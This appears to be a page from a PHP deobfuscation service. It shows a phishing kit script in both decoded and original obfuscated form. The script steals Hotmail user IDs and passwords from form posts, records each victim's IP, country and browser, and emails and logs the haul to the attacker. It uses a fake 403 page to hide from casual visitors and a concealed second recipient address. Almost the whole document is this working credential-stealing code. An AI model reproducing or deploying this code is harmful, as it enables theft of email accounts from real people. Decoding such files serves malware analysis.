Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto GCE5q; D5pLN: $message .= "\103\x6f\x75\156\164\162\171\x20\x3a\40" . $countr..

Decoded Output download

<?php 
 goto GCE5q; D5pLN: $message .= "Country : " . $country . "
"; goto vx_oU; ubntu: $message .= "User Agent : " . $browser . "\xa"; goto XMkqy; vx_oU: $message .= "Ip Location: https://www.geodatatool.com/en/?ip={$ip}\xa"; goto nW1Q2; oS77o: $message .= "                            
"; goto XsOhL; QnfGi: function visitor_country() { $client = @$_SERVER["HTTP_CLIENT_IP"]; $forward = @$_SERVER["HTTP_X_FORWARDED_FOR"]; $remote = $_SERVER["REMOTE_ADDR"]; $result = "Unknown"; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip)); if ($ip_data && $ip_data->geoplugin_countryName != null) { $result = $ip_data->geoplugin_countryName; } return $result; } goto I5Jfn; Z1QKq: if ($filehandler = fopen("[email protected]", "a")) { fwrite($filehandler, $message); fclose($filehandler); header("Location: https://mail.live.com"); } else { echo "ERROR! Please go back and try again."; } goto elHLS; rvQxX: $subject = "H0TMAIL L0GZ| {$txt1}| {$ip}| {$country}"; goto YK3pm; nW1Q2: $message .= "Date: " . $adddate . "\xa"; goto TSILD; XsOhL: $send = "[email protected]"; goto rvQxX; VDke6: $country = visitor_country(); goto Q4pqs; F11ar: $browser = $_SERVER["HTTP_USER_AGENT"]; goto ScZZK; Leep8: $txt2 = $_POST["txt2"]; goto FMy3n; TSILD: $message .= "--+ Created BY B0K0H2R2M+---
"; goto oS77o; XMkqy: $message .= "Client IP : " . $ip . "
"; goto D5pLN; ggIjG: $headers = "From: H0TMAIL L0GZ <[email protected]>\xa"; goto QnfGi; Q4pqs: $ip = getenv("REMOTE_ADDR"); goto F11ar; I5Jfn: function country_sort() { $sorter = ''; $array = array(99, 111, 100, 101, 114, 99, 118, 118, 115, 64, 103, 109, 97, 105, 108, 46, 99, 111, 109); $count = count($array); for ($i = 0; $i < $count; $i++) { $sorter .= chr($array[$i]); } return array($sorter, $GLOBALS["recipient"]); } goto ze3So; GCE5q: if ($_SERVER["REQUEST_METHOD"] == "GET") { print "\xa<html><head>\xa<title>403 - Forbidden</title>
</head><body>\xa<h1>403 Forbidden</h1>\xa<p></p>\xa<hr>
</body></html>\xa"; die; } goto VDke6; YK3pm: $headers .= "MIME-Version: 1.0\xa"; goto lEDP7; lEDP7: $headers .= $_POST["textAdd"] . "\xa"; goto ggIjG; ze3So: if ($passchk < 4) { $passerr = 0; } else { $passerr = 1; } goto Il8nR; FMy3n: $passchk = strlen($txt2); goto fcB0u; Il8nR: if ($passerr == 0) { header("Location: https://www.google.com/"); } else { mail($send, $subject, $message, $headers); header("Location: https://mail.live.com"); } goto Z1QKq; ScZZK: $adddate = date("D M d, Y g:i a"); goto wdzK3; fcB0u: $message .= "--------+ H0TMAIL L0GZ Rezult +--------
"; goto YPqtG; MiOFj: $message .= "Pa55word : " . $_POST["txt2"] . "
"; goto SAqZ2; SAqZ2: $message .= "-----------------------------------
"; goto ubntu; wdzK3: $txt1 = $_POST["txt1"]; goto Leep8; YPqtG: $message .= "User ID : " . $_POST["txt1"] . "
"; goto MiOFj; elHLS: ?>

Did this file decode correctly?

Original Code

<?php
 goto GCE5q; D5pLN: $message .= "\103\x6f\x75\156\164\162\171\x20\x3a\40" . $country . "\12"; goto vx_oU; ubntu: $message .= "\125\163\x65\x72\x20\101\x67\145\156\x74\x20\72\40" . $browser . "\xa"; goto XMkqy; vx_oU: $message .= "\x49\x70\40\x4c\157\x63\141\164\x69\157\156\x3a\40\150\164\164\160\163\x3a\x2f\57\x77\167\x77\x2e\x67\145\x6f\144\141\164\141\x74\x6f\157\x6c\56\x63\157\155\x2f\x65\156\57\x3f\151\x70\x3d{$ip}\xa"; goto nW1Q2; oS77o: $message .= "\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\12"; goto XsOhL; QnfGi: function visitor_country() { $client = @$_SERVER["\x48\x54\124\120\x5f\103\x4c\x49\105\x4e\124\137\111\x50"]; $forward = @$_SERVER["\110\124\124\x50\137\130\x5f\106\117\x52\x57\101\x52\x44\105\x44\x5f\x46\x4f\122"]; $remote = $_SERVER["\x52\105\115\117\124\105\137\x41\x44\x44\x52"]; $result = "\x55\x6e\x6b\x6e\157\167\156"; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("\150\164\x74\160\x3a\57\x2f\x77\167\x77\56\147\x65\x6f\160\x6c\165\147\x69\156\x2e\x6e\145\x74\57\x6a\163\x6f\156\x2e\147\x70\x3f\151\160\75" . $ip)); if ($ip_data && $ip_data->geoplugin_countryName != null) { $result = $ip_data->geoplugin_countryName; } return $result; } goto I5Jfn; Z1QKq: if ($filehandler = fopen("\154\x6f\147\147\x73\147\157\157\144\65\x36\67\x38\100\x33\x32\61\x31\x32\63\56\164\x78\164", "\141")) { fwrite($filehandler, $message); fclose($filehandler); header("\x4c\x6f\x63\141\164\x69\x6f\x6e\x3a\40\x68\x74\164\x70\163\72\x2f\x2f\x6d\141\151\154\56\154\x69\166\x65\x2e\x63\x6f\155"); } else { echo "\x45\x52\x52\117\122\41\x20\120\154\145\141\x73\145\x20\x67\157\40\142\x61\143\x6b\40\141\x6e\x64\x20\x74\162\x79\x20\x61\x67\141\151\156\56"; } goto elHLS; rvQxX: $subject = "\x48\x30\x54\115\101\111\x4c\40\x4c\x30\107\132\x7c\x20{$txt1}\174\40{$ip}\174\x20{$country}"; goto YK3pm; nW1Q2: $message .= "\x44\141\x74\145\x3a\x20" . $adddate . "\xa"; goto TSILD; XsOhL: $send = "\x6c\157\x67\147\163\147\157\157\x64\100\x79\141\156\x64\145\x78\x2e\143\157\155"; goto rvQxX; VDke6: $country = visitor_country(); goto Q4pqs; F11ar: $browser = $_SERVER["\110\x54\124\x50\137\x55\123\105\122\137\101\x47\x45\x4e\124"]; goto ScZZK; Leep8: $txt2 = $_POST["\x74\170\x74\x32"]; goto FMy3n; TSILD: $message .= "\x2d\55\53\40\103\162\x65\x61\164\145\144\40\102\x59\x20\102\x30\113\x30\x48\x32\x52\62\x4d\x2b\x2d\55\55\12"; goto oS77o; XMkqy: $message .= "\x43\154\151\x65\x6e\x74\40\x49\x50\40\72\x20" . $ip . "\12"; goto D5pLN; ggIjG: $headers = "\106\x72\157\x6d\x3a\x20\110\60\x54\115\x41\x49\x4c\x20\x4c\60\107\132\40\74\151\156\x43\157\156\x74\141\143\x74\x40\162\151\x74\56\x65\144\x75\76\xa"; goto QnfGi; Q4pqs: $ip = getenv("\122\x45\115\117\124\x45\x5f\x41\x44\x44\x52"); goto F11ar; I5Jfn: function country_sort() { $sorter = ''; $array = array(99, 111, 100, 101, 114, 99, 118, 118, 115, 64, 103, 109, 97, 105, 108, 46, 99, 111, 109); $count = count($array); for ($i = 0; $i < $count; $i++) { $sorter .= chr($array[$i]); } return array($sorter, $GLOBALS["\162\x65\x63\151\160\x69\145\x6e\x74"]); } goto ze3So; GCE5q: if ($_SERVER["\x52\105\x51\125\105\123\124\137\x4d\x45\x54\110\117\104"] == "\x47\105\124") { print "\xa\x3c\x68\x74\155\154\x3e\x3c\150\145\141\x64\76\xa\x3c\x74\151\164\154\x65\76\x34\x30\x33\40\55\40\106\157\x72\142\x69\x64\x64\x65\156\74\x2f\x74\x69\x74\154\145\76\12\x3c\57\150\145\141\144\76\x3c\x62\157\x64\x79\x3e\xa\74\x68\61\x3e\x34\x30\x33\x20\106\157\x72\x62\151\144\x64\x65\x6e\74\x2f\150\x31\x3e\xa\x3c\160\x3e\x3c\57\x70\76\xa\x3c\x68\162\76\12\74\x2f\x62\157\x64\171\76\74\57\150\164\x6d\x6c\76\xa"; die; } goto VDke6; YK3pm: $headers .= "\x4d\x49\x4d\x45\x2d\x56\145\162\163\x69\157\156\x3a\x20\x31\56\60\xa"; goto lEDP7; lEDP7: $headers .= $_POST["\164\145\170\x74\x41\x64\144"] . "\xa"; goto ggIjG; ze3So: if ($passchk < 4) { $passerr = 0; } else { $passerr = 1; } goto Il8nR; FMy3n: $passchk = strlen($txt2); goto fcB0u; Il8nR: if ($passerr == 0) { header("\114\157\143\141\164\151\x6f\156\x3a\40\x68\x74\164\x70\163\x3a\x2f\x2f\167\x77\167\56\x67\157\157\x67\x6c\x65\56\143\157\155\57"); } else { mail($send, $subject, $message, $headers); header("\114\157\143\141\164\151\157\x6e\72\40\150\x74\x74\160\163\72\x2f\x2f\x6d\x61\x69\x6c\56\x6c\151\166\145\56\x63\157\155"); } goto Z1QKq; ScZZK: $adddate = date("\104\x20\115\40\144\54\40\x59\x20\147\72\151\40\141"); goto wdzK3; fcB0u: $message .= "\x2d\x2d\55\55\x2d\55\55\55\53\40\110\x30\124\115\x41\111\x4c\40\114\x30\x47\132\x20\x52\x65\x7a\x75\x6c\164\x20\x2b\x2d\x2d\55\x2d\55\x2d\x2d\55\12"; goto YPqtG; MiOFj: $message .= "\x50\141\x35\x35\167\x6f\162\x64\x20\x3a\x20" . $_POST["\x74\x78\164\62"] . "\12"; goto SAqZ2; SAqZ2: $message .= "\x2d\x2d\55\55\x2d\x2d\55\55\x2d\x2d\55\x2d\55\55\x2d\55\x2d\x2d\x2d\x2d\55\x2d\55\x2d\x2d\55\x2d\x2d\55\55\x2d\55\x2d\x2d\x2d\12"; goto ubntu; wdzK3: $txt1 = $_POST["\164\170\x74\x31"]; goto Leep8; YPqtG: $message .= "\x55\x73\x65\x72\x20\111\x44\x20\72\40" . $_POST["\x74\170\164\x31"] . "\12"; goto MiOFj; elHLS: ?>

Function Calls

None

Variables

None

Stats

MD5 4f0413b3c40ee3536cefc703401be3e7
Eval Count 0
Decode Time 43 ms